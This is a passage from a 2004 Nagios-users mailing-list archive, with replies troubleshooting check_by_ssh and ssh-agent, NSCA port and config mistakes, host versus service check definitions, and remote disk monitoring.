Dilda) Date: Fri, 19 Mar 2004 11:00:59 -0500 Subject: Does check_by_ssh work with ssh-agent and/or keychain ? In-Reply-To: <405B065D.3070305@rmbam.co.za> References: <405B065D.3070305@rmbam.co.za> Message-ID: <1079712059.4406.124.camel@pel> On Fri, 2004-03-19 at 09:40, Nardus Geldenhuys wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi People > > Does check_by_ssh work with ssh-agent and/or keychain ?? Is there > anybody with a working system using this method ? > > I have setup everything. The user is "nagios". I can "ssh user at host" > with no problem and no password prompt :) But when I run > "/usr/nagios/libexec/check_by_ssh -H support at shark -C /usr/bin/ls" I get > this prompt "Enter passphrase for key '/home/nagios/.ssh/id_rsa':". > > Is the error with ssh or the plugin ? plugin. check_by_ssh uses the spopen() function to call ssh. The spopen() function is designed for nagios plugins. However, one side-effect of spopen() is that it wipes out the environment before executing the program. And ssh-agent passes on info to the ssh command through use of the environment. You may want to consider looking into hostbased ssh authentication, depending on how your network setup is. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 19 18:22:04 2004 From: james at expresscomputers.com (James Bowes) Date: Fri, 19 Mar 2004 09:22:04 -0800 Subject: Nsca config error? Message-ID: Hi folks. I have run a manual submit_check_result from my distributed server: ./submit_check_result sim.test.net "Check C Drive" 0 "ok" 172.20.10.168 And the result is: Connection refused by host Error: Could not connect to host 172.20.10.168 on port 5667 On the central server, I have the ports configured correctly and iptables is turned off. My hosts.deny looks like this: ALL: ALL EXCEPT 172.20.10. While the hosts.allow looks like this: nsca:172.20.10.169,127.0.0.1 My netstat command shows nsca as this: tcp 0 0 *:nsca *:* LISTEN And my /etc/services nsca entry looks like this: nsca 5567/tcp # NSCA I'm stymied here... Any ideas as to what I have overlooked are appreciated. Thanks, --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Fri Mar 19 18:30:19 2004 From: jhmartin at toger.us (Jason Martin) Date: Fri, 19 Mar 2004 09:30:19 -0800 (PST) Subject: Nsca config error? In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Can you telnet to that port from the source host and get a connection? "Connection Refused" from telnet is quite different then connection accepted / dropped. The former means the port isn't even listening, the latter means it is listening but either won't talk to you or is having problems starting the nsca process. - -Jason Martin On Fri, 19 Mar 2004, James Bowes wrote: > Hi folks. > > I have run a manual submit_check_result from my distributed server: > > ./submit_check_result sim.test.net "Check C Drive" 0 "ok" 172.20.10.168 > > And the result is: > > Connection refused by host > Error: Could not connect to host 172.20.10.168 on port 5667 > > On the central server, I have the ports configured correctly and > iptables is turned off. > > My hosts.deny looks like this: > > ALL: ALL EXCEPT 172.20.10. > > While the hosts.allow looks like this: > > nsca:172.20.10.169,127.0.0.1 > > My netstat command shows nsca as this: > > tcp 0 0 *:nsca *:* > LISTEN > > And my /etc/services nsca entry looks like this: > > nsca 5567/tcp # NSCA > > I'm stymied here... Any ideas as to what I have overlooked are > appreciated. > > Thanks, > > --james > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWy45l2ODWuqVSBMRApK0AJwIb3xgvVof/W+zkXkZCaVMgkLmfQCgixwG aapCI9kKgSfFxmhFTE9vn6s= =locN -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 19 18:34:59 2004 From: james at expresscomputers.com (James Bowes) Date: Fri, 19 Mar 2004 09:34:59 -0800 Subject: Nsca config error? Message-ID: Hi. No I cannot. I get this message in the central server logs... Mar 19 09:34:10 linuxdevel nsca[23094]: Unknown option specified in config file '/usr/local/nagios/etc/nagios.cfg' - Line 19 I have poured over the nagios.cfg and pretty well most of the other config files. I don't see where this problem lies... --james -----Original Message----- From: Jason Martin [mailto:jhmartin at toger.us] Sent: Friday, March 19, 2004 9:30 AM To: James Bowes Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Nsca config error? -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Can you telnet to that port from the source host and get a connection? "Connection Refused" from telnet is quite different then connection accepted / dropped. The former means the port isn't even listening, the latter means it is listening but either won't talk to you or is having problems starting the nsca process. - -Jason Martin On Fri, 19 Mar 2004, James Bowes wrote: > Hi folks. > > I have run a manual submit_check_result from my distributed server: > > ./submit_check_result sim.test.net "Check C Drive" 0 "ok" > 172.20.10.168 > > And the result is: > > Connection refused by host > Error: Could not connect to host 172.20.10.168 on port 5667 > > On the central server, I have the ports configured correctly and > iptables is turned off. > > My hosts.deny looks like this: > > ALL: ALL EXCEPT 172.20.10. > > While the hosts.allow looks like this: > > nsca:172.20.10.169,127.0.0.1 > > My netstat command shows nsca as this: > > tcp 0 0 *:nsca *:* > LISTEN > > And my /etc/services nsca entry looks like this: > > nsca 5567/tcp # NSCA > > I'm stymied here... Any ideas as to what I have overlooked are > appreciated. > > Thanks, > > --james > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux > tutorial presented by Daniel Robbins, President and CEO of GenToo > technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWy45l2ODWuqVSBMRApK0AJwIb3xgvVof/W+zkXkZCaVMgkLmfQCgixwG aapCI9kKgSfFxmhFTE9vn6s= =locN -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Fri Mar 19 18:38:43 2004 From: jhmartin at toger.us (Jason Martin) Date: Fri, 19 Mar 2004 09:38:43 -0800 (PST) Subject: Nsca config error? In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I don't recall that nsca needs the nagios.cfg; what does your nsca.cfg and inetd-entry look like? It sounds like inetd is failing when trying to launch nsca. - -Jason Martin On Fri, 19 Mar 2004, James Bowes wrote: > Hi. > > No I cannot. I get this message in the central server logs... > > Mar 19 09:34:10 linuxdevel nsca[23094]: Unknown option specified in > config file '/usr/local/nagios/etc/nagios.cfg' - Line 19 > > I have poured over the nagios.cfg and pretty well most of the other > config files. I don't see where this problem lies... -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWzAzl2ODWuqVSBMRAoOuAJ9NKfx7faI0OheoH5EnXTpeiz/v5QCgkchF cNq3lQbi4f2VXUraH9BHvkI= =VFsc -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 19 18:39:54 2004 From: marc at ena.com (Marc Powell) Date: Fri, 19 Mar 2004 11:39:54 -0600 Subject: Nsca config error? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A369@mismail2.ena.com> On Friday, March 19, 2004 11:22 AM, James Bowes shared with us: > Hi folks. > > I have run a manual submit_check_result from my distributed server: > > ./submit_check_result sim.test.net "Check C Drive" 0 "ok" > 172.20.10.168 > > And the result is: > > Connection refused by host > Error: Could not connect to host 172.20.10.168 on port 5667 > [snippage] > My netstat command shows nsca as this: > > tcp 0 0 *:nsca *:* > LISTEN > > And my /etc/services nsca entry looks like this: > > nsca 5567/tcp # NSCA > > I'm stymied here... Any ideas as to what I have overlooked are > appreciated. It may be a typo in the email _but_, your error message indicates port 5667 whereas nsca is listening on _5567_. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 19 18:45:58 2004 From: james at expresscomputers.com (James Bowes) Date: Fri, 19 Mar 2004 09:45:58 -0800 Subject: Nsca config error? Message-ID: Hi and thanks. Yeesh that was the problem... I had my /etc/services entry on 5567 - unbelievable! Anyway onto the next thing. I can see they are now talking though I get this error from a manual submission: Error: Server closed connection before init packet was received Error: Could not read init packet from server --james -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Friday, March 19, 2004 9:40 AM To: James Bowes; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Nsca config error? It may be a typo in the email _but_, your error message indicates port 5667 whereas nsca is listening on _5567_. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 19 18:57:47 2004 From: james at expresscomputers.com (James Bowes) Date: Fri, 19 Mar 2004 09:57:47 -0800 Subject: Nsca config error - different issue Message-ID: An update to the error posted previously. I get this message now in the log files of the cnetral server: Mar 19 09:57:23 linuxdevel nsca[25654]: Unknown option specified in config file '/usr/local/nagios/etc/nagios.cfg' - Line 19 --james -----Original Message----- From: James Bowes Sent: Friday, March 19, 2004 9:46 AM To: nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Nsca config error? Hi and thanks. Yeesh that was the problem... I had my /etc/services entry on 5567 - unbelievable! Anyway onto the next thing. I can see they are now talking though I get this error from a manual submission: Error: Server closed connection before init packet was received Error: Could not read init packet from server --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Fri Mar 19 18:50:44 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Fri, 19 Mar 2004 12:50:44 -0500 (EST) Subject: Nagios and apcupsd monitoring In-Reply-To: <40505E0B.80204@wittmann.sk> References: <40505E0B.80204@wittmann.sk> Message-ID: On Thu, 11 Mar 2004, [windows-1250] Dezider G?ra wrote: > I searched a while, but haven't found any info about plugin to support > apcupsd. > The only thing I've found was about nut, baut I use apcupsd on my linux > and windows servers to control apc ups'. > Does anyone have some work done on this? > Hints, gotchas warmly welcome. > If apcupsd provides an snmp subagent and supports either the APC private mib or the UPS-MIB, then you can use the check_acp-ups or check_snmp_ups -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From findrachit at yahoo.com Fri Mar 19 19:09:00 2004 From: findrachit at yahoo.com (Rachit Mathur) Date: Fri, 19 Mar 2004 10:09:00 -0800 (PST) Subject: process not running error Message-ID: <20040319180900.6979.qmail@web41903.mail.yahoo.com> hi. i'm a beginner. I've installed nagios for the first time and i'm getting a warning saying that monitoring process may not be running. i tried to rectify by editing cgi.cfg and adding nagios_check_command=/usr/local/nagios/libexec/check_nagios -F /usr/local/nagios/var/status.log -C './nagios -d /usr/local/nagios/etc/nagios.cfg' i've tried this command directly and it works, but even after adding this command to cgi.cfg, nagios still shows the same warning. what do you guys suggest? thanks in advance, rachit __________________________________ Do you Yahoo!? Yahoo! Mail - More reliable, more storage, less spam http://mail.yahoo.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Fri Mar 19 19:16:47 2004 From: jhmartin at toger.us (Jason Martin) Date: Fri, 19 Mar 2004 10:16:47 -0800 (PST) Subject: Nsca config error - different issue In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 NSCA has it's own config file, it shouldn't be pointed to the nagios.cfg. - -Jason Martin On Fri, 19 Mar 2004, James Bowes wrote: > > An update to the error posted previously. I get this message now in the > log files of the cnetral server: > > Mar 19 09:57:23 linuxdevel nsca[25654]: Unknown option specified in > config file '/usr/local/nagios/etc/nagios.cfg' - Line 19 > > --james > -----Original Message----- > From: James Bowes > Sent: Friday, March 19, 2004 9:46 AM > To: nagios-users at lists.sourceforge.net > Subject: RE: [Nagios-users] Nsca config error? > > Hi and thanks. > > Yeesh that was the problem... I had my /etc/services entry on 5567 - > unbelievable! Anyway onto the next thing. I can see they are now talking > though I get this error from a manual submission: > > Error: Server closed connection before init packet was received > Error: Could not read init packet from server > > > --james > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWzkel2ODWuqVSBMRAgvMAJ9b6tiYP46XtCpk2+p1ZmmjUOgM8wCfSbLn OZO9RXWZRhVi/mwkwzcoams= =jXXV -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Fri Mar 19 19:21:06 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Fri, 19 Mar 2004 12:21:06 -0600 Subject: New Module IDEA In-Reply-To: References: <5118AFA1-7866-11D8-AEC8-000A9569B402@evilbucks.com> <1079565779.7327.4511.camel@localhost> Message-ID: <1079720466.9088.110.camel@localhost> Here's your new multi-url checker plugin. Drop it into your nagios/libexec/ to use it. Some features: - Uses check_http, and thus supports all the arguments that that plugin supports. - You can check 'relative' URLs on one host, random URLs using "http://" or "https://", or a mixture - Processing is stopped after one 'baddie' so as not to waste cycles. - URL list file supports #-denoted commenting for temporarily disabling checking of given URLs - Checks basic URL syntax (must start with "http://", "https://", or "/" (with an additional -H/--hostname arg passed)) - proper help displayed with -h, --help, no args, or not found filename as the first arg. - Extensive commenting in the script (in case you want to tweak). Nagios implementation (checkcommand def and service def examples) at the top of the script. Just view it with 'more' or 'less' or whatever your pager-of-choice is. Any other questions/comments/feature requests/bugs, just let me know. --jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: check_http_many Type: text/x-sh Size: 5571 bytes Desc: not available URL: From marc at ena.com Fri Mar 19 19:25:23 2004 From: marc at ena.com (Marc Powell) Date: Fri, 19 Mar 2004 12:25:23 -0600 Subject: Nsca config error? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A36B@mismail2.ena.com> On Friday, March 19, 2004 11:46 AM, James Bowes shared with us: > Hi and thanks. > > Yeesh that was the problem... I had my /etc/services entry on 5567 - > unbelievable! Anyway onto the next thing. I can see they are now > talking though I get this error from a manual submission: > > Error: Server closed connection before init packet was received > Error: Could not read init packet from server This is typically caused by TCP wrappers rejecting the connection or by not having your remote host(s) in the allowed_hosts config option in nsca.cfg. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From naman.latif at inamed.com Fri Mar 19 20:20:18 2004 From: naman.latif at inamed.com (Naman Latif) Date: Fri, 19 Mar 2004 11:20:18 -0800 Subject: check_command in hosts or service defination Message-ID: <83B3FCAD284096489C9967C54B33B6B3049B295D@sigma.inamed.com> Hi, I am trying to understand the reason for the check_command to be defined in both "host" and "service" definition. E.g. If I have a device "test" and I want check its availability using check_ping, then I will need(?) to define a service "ping" and specify the check_ping as the check_command. In this case, do I need to define it in the "host" definition also ? \\ Naman ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 19 20:45:47 2004 From: marc at ena.com (Marc Powell) Date: Fri, 19 Mar 2004 13:45:47 -0600 Subject: check_command in hosts or service defination Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A36C@mismail2.ena.com> On Friday, March 19, 2004 1:20 PM, Naman Latif shared with us: > Hi, > I am trying to understand the reason for the check_command to be > defined in both "host" and "service" definition. > > E.g. If I have a device "test" and I want check its availability > using check_ping, then I will need(?) to define a service "ping" and > specify the check_ping as the check_command. In this case, do I need > to define it in the "host" definition also ? Nagios is first and foremost a service monitoring program. Pretty much everything revolves around the availability of a service as opposed to a host. The logic is that if a service on a host is working properly, there is no need to check the status of the host at all. If a service on a host isn't working properly, only then do you want to make sure that the host is up and working. That is one reason why you have a specific host check defined. Host checks are also use to determine reachability, dependencies, etc. In you above example, if the device has no other services that you are interested in checking and only care that it is 'on', then yes, you will have to define a ping or other type of service, remembering that a host will never be checked unless there is a service failure on that host. That being said, if this device isn't used as a parent to other hosts, there are no other defined dependencies on this host or you just don't care about host status or availability being accurately reflected in the web pages then yes, you can get away with not having a check_command defined for the host. You will still need to have a service defined though. http://nagios.sourceforge.net/docs/1_0/networkreachability.html has some light reading that is pertinent. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From naman.latif at inamed.com Fri Mar 19 21:07:25 2004 From: naman.latif at inamed.com (Naman Latif) Date: Fri, 19 Mar 2004 12:07:25 -0800 Subject: check_command in hosts or service defination Message-ID: <83B3FCAD284096489C9967C54B33B6B3049B295E@sigma.inamed.com> Thanks. That explains it all. -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Friday, March 19, 2004 11:46 AM ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From schluntz at workofstone.com Fri Mar 19 21:39:15 2004 From: schluntz at workofstone.com (Sean J. Schluntz) Date: Fri, 19 Mar 2004 12:39:15 -0800 Subject: MySQL and the Objects files Message-ID: <7CA74D9C-79E5-11D8-B06D-000A95B3192A@workofstone.com> Is anyone using Nagios with everything stored in MySQL (including the Objects data?)? If you are I'd be interested in talking with you about how you manage it and how you setup the tables. Thanks! -Sean --- Sean J. Schluntz 510-264-1785 Sr. Security Consultant Work of Stone ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From thepcguy at veryspeedy.net Fri Mar 19 21:39:48 2004 From: thepcguy at veryspeedy.net (Pat) Date: Fri, 19 Mar 2004 15:39:48 -0500 Subject: question on free disk space Message-ID: <1079728787.5894.32.camel@localhost.localdomain> Sorry, I previously sent this thru the wrong account wich doesn't belong to this group. So here is a resend. I'm a newbie at Nagios. I just installed version 1.2 and got it working today. I'm wondering if/what I'm doing wrong but I can't get the free disk space to read correctly on remote hosts. The first drives (hda1 or sda1) all read as 2222MB (45%) and all the other drives don't read on all my Linux servers except on the nagios host server where it all reads fine. Here's a sample of the service.cfg file # Service definition define service{ use generic-service ; Name of service template to use host_name docbase service_description /dev/sda5 Free Space is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_local_disk!20%!10%!/dev/sda5 Thanks. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rmiller at duskglow.com Fri Mar 19 21:54:07 2004 From: rmiller at duskglow.com (Russell Miller) Date: Fri, 19 Mar 2004 14:54:07 -0600 Subject: question on free disk space In-Reply-To: <1079728787.5894.32.camel@localhost.localdomain> References: <1079728787.5894.32.camel@localhost.localdomain> Message-ID: <200403191454.12541.rmiller@duskglow.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Friday 19 March 2004 14:39, Pat wrote: > I'm wondering if/what I'm doing wrong but I can't get the free disk > space to read correctly on remote hosts. > You have to use something like nrpe to monitor remote hosts. - --Russell - -- 14:53:45 up 41 days, 3:36, 2 users, load average: 0.32, 0.22, 0.12 Russell Miller - rmiller at duskglow.com - Somewhere near Sioux City, IA. Youth cannot know age, but age is guilty if it forgets youth - Professor Dumbledore Hi! I'm a .signature virus! Copy me into your ~/.signature, please! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAW13yURTA4VCI9OARAgTZAJ9dTKKyLNGFm3dv7nUbfw5scon3kgCcCwlY 7Y8FsABLLW3qog3Fr8l1FLo= =S8uQ -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Fri Mar 19 21:53:00 2004 From: jhmartin at toger.us (Jason Martin) Date: Fri, 19 Mar 2004 12:53:00 -0800 (PST) Subject: MySQL and the Objects files In-Reply-To: <7CA74D9C-79E5-11D8-B06D-000A95B3192A@workofstone.com> References: <7CA74D9C-79E5-11D8-B06D-000A95B3192A@workofstone.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 A while back someone submitted a patch to have Nagios store its object configuration in mysql, but it is not part of the main distribution. Nagios does not support storing configuration in MySQL. - -Jason Martin On Fri, 19 Mar 2004, Sean J. Schluntz wrote: > Is anyone using Nagios with everything stored in MySQL (including the > Objects data?)? If you are I'd be interested in talking with you about > how you manage it and how you setup the tables. > > Thanks! > > -Sean > --- > Sean J. Schluntz > 510-264-1785 > Sr. Security Consultant Work of > Stone > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAW12+l2ODWuqVSBMRAr5IAJ4ki/Vknacb/Pg1HTuoMav5heL2ugCeK0bA wivug9zJ0NiYsSBHVI4OqsE= =E+2p -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 19 21:57:09 2004 From: marc at ena.com (Marc 